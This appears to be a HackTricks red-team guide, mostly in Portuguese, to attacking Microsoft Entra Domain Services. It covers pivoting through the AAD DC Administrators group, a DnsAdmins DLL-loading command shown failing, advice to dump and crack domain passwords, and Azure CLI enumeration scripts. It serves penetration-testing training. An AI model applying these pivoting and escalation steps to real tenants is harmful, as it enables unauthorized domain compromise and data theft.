Az - Microsoft Entra Domain Services

Reading time: 6 minutes

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

Domain Services

Microsoft Entra Domain Services permite implantar um Active Directory no Azure sem precisar gerenciar Controladores de Domínio (na verdade, você nem tem acesso a eles).

Seu principal objetivo é permitir que você execute aplicativos legados na nuvem que não podem usar métodos modernos de autenticação, ou onde você não deseja que as consultas de diretório sempre voltem para um ambiente AD DS local.

Observe que, para sincronizar os usuários gerados no Entra ID (e não sincronizados de outros diretórios ativos) com o serviço de domínio AD, você precisa mudar a senha do usuário para uma nova, para que possa ser sincronizada com o novo AD. Na verdade, o usuário não é sincronizado do Microsoft Entra ID para os Serviços de Domínio até que a senha seja alterada.

warning

Mesmo que você esteja criando um novo domínio de diretório ativo, não poderá gerenciá-lo completamente (a menos que explore algumas configurações incorretas), o que significa que, por padrão, por exemplo, você não pode criar usuários diretamente no AD. Você os cria sincronizando usuários do Entra ID. Você pode indicar para sincronizar todos os usuários (mesmo aqueles sincronizados de outros ADs locais), apenas usuários da nuvem (usuários criados no Entra ID) ou até mesmo filtrá-los mais.

note

Em geral, devido à falta de flexibilidade na configuração do novo domínio e ao fato de que os ADs geralmente já estão no local, esta não é a principal integração entre Entra ID e AD, mas ainda é interessante saber como comprometê-lo.

Pivoting

Membros do grupo gerado AAD DC Administrators recebem permissões de administrador local em VMs que estão unidas ao domínio gerenciado (mas não nos controladores de domínio) porque são adicionados ao grupo de administradores locais. Membros deste grupo também podem usar Remote Desktop para se conectar remotamente a VMs unidas ao domínio, e também são membros dos grupos:

  • Denied RODC Password Replication Group: Este é um grupo que especifica usuários e grupos cujas senhas não podem ser armazenadas em cache em RODCs (Controladores de Domínio Somente para Leitura).
  • Group Policy Creators Owners: Este grupo permite que os membros criem Políticas de Grupo no domínio. No entanto, seus membros não podem aplicar políticas de grupo a usuários ou grupos ou editar GPOs existentes, então não é tão interessante neste ambiente.
  • DnsAdmins: Este grupo permite gerenciar as configurações de DNS e foi abusado no passado para escalar privilégios e comprometer o domínio, no entanto, após testar o ataque neste ambiente, foi verificado que a vulnerabilidade está corrigida:
text
dnscmd TDW52Y80ZE26M1K.azure.training.hacktricks.xyz /config /serverlevelplugindll \\10.1.0.6\c$\Windows\Temp\adduser.dll

DNS Server failed to reset registry property.
Status = 5 (0x00000005)
Command failed:  ERROR_ACCESS_DENIED     5    0x5

Note que, para conceder essas permissões, dentro do AD, o grupo AAD DC Administrators é feito membro dos grupos anteriores, e também a GPO AADDC Computers GPO está adicionando como Administradores Locais todos os membros do grupo de domínio AAD DC Administrators.

Fazer pivotagem do Entra ID para um AD criado com Domain Services é simples, basta adicionar um usuário ao grupo AAD DC Administrators, acessar via RDP a qualquer/todas as máquinas no domínio e você poderá roubar dados e também comprometer o domínio.

No entanto, fazer pivotagem do domínio para o Entra ID não é tão fácil, pois nada do domínio está sendo sincronizado no Entra ID. No entanto, sempre verifique os metadados de todas as VMs unidas, pois suas identidades gerenciadas atribuídas podem ter permissões interessantes. Também extraia todas as senhas dos usuários do domínio e tente quebrá-las para então fazer login no Entra ID / Azure.

note

Note que no passado, outras vulnerabilidades neste AD gerenciado foram encontradas que permitiram comprometer os DCs, como esta. Um atacante que comprometer o DC poderia muito facilmente manter persistência sem que os administradores do Azure notassem ou mesmo conseguissem removê-la.

Enumeração

bash
# Get configured domain services domains (you can add more subs to check in more subscriptions)
az rest --method post \
--url "https://management.azure.com/providers/Microsoft.ResourceGraph/resources?api-version=2021-03-01" \
--body '{
"subscriptions": [
"0ce1297c-9153-425d-3229-f51093614377"
],
"query": "resources | where type == \"microsoft.aad/domainservices\"",
"options": {
"$top": 16,
"$skip": 0,
"$skipToken": ""
}
}'

# Get domain configuration
az rest --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/entra-domain-services/providers/Microsoft.AAD/DomainServices/<domain-name>?api-version=2022-12-01&healthdata=true"
## e.g.
az rest --url "https://management.azure.com/subscriptions/0ce1297c-9153-425d-3229-f51093614377/resourceGroups/entra-domain-services/providers/Microsoft.AAD/DomainServices/azure.training.hacktricks.xyz?api-version=2022-12-01&healthdata=true"

# Based on the VNet assigned to the domain services, you can enumerate the VMs in the domain

subscription_id="0ce1297c-9153-425d-3229-f51093614377"
vnet_name="aadds-vnet"

# Retrieve all VMs in the subscription
vm_list=$(az vm list --subscription "$subscription_id" --query "[].{Name:name, ResourceGroup:resourceGroup}" --output tsv)

# Iterate through each VM to check their VNet connection
echo "VMs connected to VNet '$vnet_name':"
while IFS=$'\t' read -r vm_name resource_group; do
nic_ids=$(az vm show --subscription "$subscription_id" --name "$vm_name" --resource-group "$resource_group" --query "networkProfile.networkInterfaces[].id" --output tsv)

for nic_id in $nic_ids; do
subnet_id=$(az network nic show --ids "$nic_id" --query "ipConfigurations[0].subnet.id" --output tsv)

if [[ $subnet_id == *"virtualNetworks/$vnet_name"* ]]; then
echo "VM Name: $vm_name, Resource Group: $resource_group"
fi
done
done <<< "$vm_list"

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks